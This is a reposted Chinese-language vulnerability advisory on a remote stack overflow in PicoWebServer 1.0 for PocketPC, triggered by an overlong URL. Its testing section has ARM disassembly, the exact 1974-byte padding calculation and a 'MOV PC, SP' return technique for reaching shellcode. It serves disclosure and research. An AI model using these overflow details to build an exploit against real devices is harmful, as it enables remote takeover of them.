 |
PicoWebServer超长Unicode URL远程栈溢出漏洞 |
|
|
| PicoWebServer超长Unicode URL远程栈溢出漏洞 |
|
| 作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 10:59:08 |
|
受影响系统: Newmad Technologies PicoWebServer 1.0 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 13807
PicoWebServer是运行Windows CE操作系统的PocketPC使用的免费Web Server。
PicoWebServer在处理超长的URL时存在漏洞,远程攻击者可以导致Web Server崩溃。
如果攻击者能够提供足够大的URL的话,就可以触发这个溢出,导致应用程序崩溃。成功的攻击允许远程攻击者完全控制设备。
<*来源:Dennis Elser (dennis@backtrace.de) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111746551802380&w=2 *>
测试方法: --------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
攻击者可以提供超长的HTTP GET请求控制程序计数器(PC)。
1. 检查“0D 0A 0D 0A”字节序列的循环限制攻击者所能提供的最多字节数。
get_more_data_from_attacker: ;snip
.text:00015664 SUB R3, R8, R6 ; R3 = 0x400 = 1024 .text:00015668 SUBS R7, R3, #1 ; R7 = 1023 .text:0001566C MOVMI R7, R11 .text:00015670 MOV R2, R7 ; len = R7 = R2 = 1023 .text:00015674 ADD R1, R6, R4 ; buf .text:00015678 MOV R0, R10 ; s .text:0001567C BL _recv
;snip ; check for /n/n .text:00015704 MOV R0, R4 ; char * 0D,0A,0D,0A .text:00015708 MOV R1, R5 ; char * .text:0001570C BL strstr .text:00015710 MOVS R3, R0 .text:00015714 BEQ get_more_data_from_attacker
如果发现了上文所述的字节序列,缓冲区就会类似于:
GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[...snip...]/x0D/x0A/x0D/x0A
2. 然后将这个缓冲区转换为unicode,传送到未经检查的swprintf()调用,在这里会发生栈溢出:
.text:00013738 ADD R3, R4, #0xC ; aGetXxxxxxxxxxxxxxxx ; snip .text:00013774 ADD R0, SP, #0x820+var_7EC ; wchar_t *destination .text:00013778 LDR R1, =aD_D_D_DDDDDDDS ; wchar_t *format_string ; [%d.%d.%d.%d - %d/%d/%d@%d:%d:%d] "%s" ; snip .text:00013798 BL swprintf
swprintf()调用使用栈变量(var_7EC)存储生成的格式化字符串,最多可容纳0x7EC(2028)个字节。一旦格式化了该字符串并保存到目标缓冲区,结果可能是:
[127.0.0.1 - 2005/5/12@12:30:11] "GET /"
字符串中包含ip地址,当前时间日期和攻击者提供的GET请求。在这个例子中,攻击者必须提供1974个额外字节才能控制程序计数器。
大小 | 描述 ---------------------------- 2028 | var_7EC的大小 - 82 | unicode字符串[127.0.0.1 - 2005/5/12@12:30:11] "GET /"的大小 + 4 | R4的大小 (保存在函数prologue) + 4 | R5的大小 (保存在函数prologue) + 4 | R6的大小 (保存在函数prologue) + 4 | R7的大小 (保存在函数prologue) + 4 | R8的大小 (保存在函数prologue) + 4 | R9的大小 (保存在函数prologue) + 4 | PC的大小 (保存在函数prologue) --------------------------- = 1974 溢出栈所需的用户提供缓冲区的大小
在sub_000136A4函数的函数epilogue,0x000137D0处的指令修改栈指针指向包含有用户提供输入的格式化字符串的0x7D0偏移处。0x000137D4处的指令还原栈的R4、R5、R6、R7、R8、R9和PC。
.text:000137D0 ADD SP, SP, R12 .text:000137D4 LDMFD SP!, {R4-R9,PC}
R4到R9寄存器和PC被攻击者控制。
PicoWebServer.exe: The instruction at 0x780078 referenced memory at 0x780078. The memory could not be read (0x00780078 -> 00780078)
如果攻击者能够让覆盖的返回地址指向相当于“0D F0 A0 E1”("MOV PC, SP")的字节序列的话,就可以完全控制设备。由于SP是唯一指向攻击者所提供的shellcode的寄存器,因此攻击者的目标就是让PC等于SP。
栈:
debug1218:2211E90C 78 00 78 00 DCD 0x780078 ; R4 debug1218:2211E910 78 00 78 00 DCD 0x780078 ; R5 debug1218:2211E914 78 00 78 00 DCD 0x780078 ; R6 debug1218:2211E918 78 00 78 00 DCD 0x780078 ; R7 debug1218:2211E91C 78 00 78 00 DCD 0x780078 ; R8 debug1218:2211E920 78 00 78 00 DCD 0x780078 ; R9 debug1218:2211E924 04 00 07 00 DCD addr_MOV_PC_SP ; PC debug1218:2211E928 ; ------------------------------------------------- debug1218:2211E928 78 00 78 00 RSBEQS R0, R8, R8,ROR R0 ; shellcode debug1218:2211E92C 78 00 78 00 RSBEQS R0, R8, R8,ROR R0 debug1218:2211E930 78 00 78 00 RSBEQS R0, R8, R8,ROR R0 debug1218:2211E934 78 00 78 00 RSBEQS R0, R8, R8,ROR R0 debug1218:2211E938 78 00 78 00 RSBEQS R0, R8, R8,ROR R0
--------------------------------------------------------------------------
建议: -------------------------------------------------------------------------------- 厂商补丁:
Newmad Technologies ------------------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.newmad.se/ 【转自世纪安全网 http://www.21safe.com】
|
|
| 新闻录入:admin 责任编辑:admin |
|
|
上一篇新闻: ZeroBoard文件执行漏洞 下一篇新闻: Peercast 0.1211及之前版本格式串漏洞 |
|
|
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |
|
|
网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!) |
|
|
|
|
|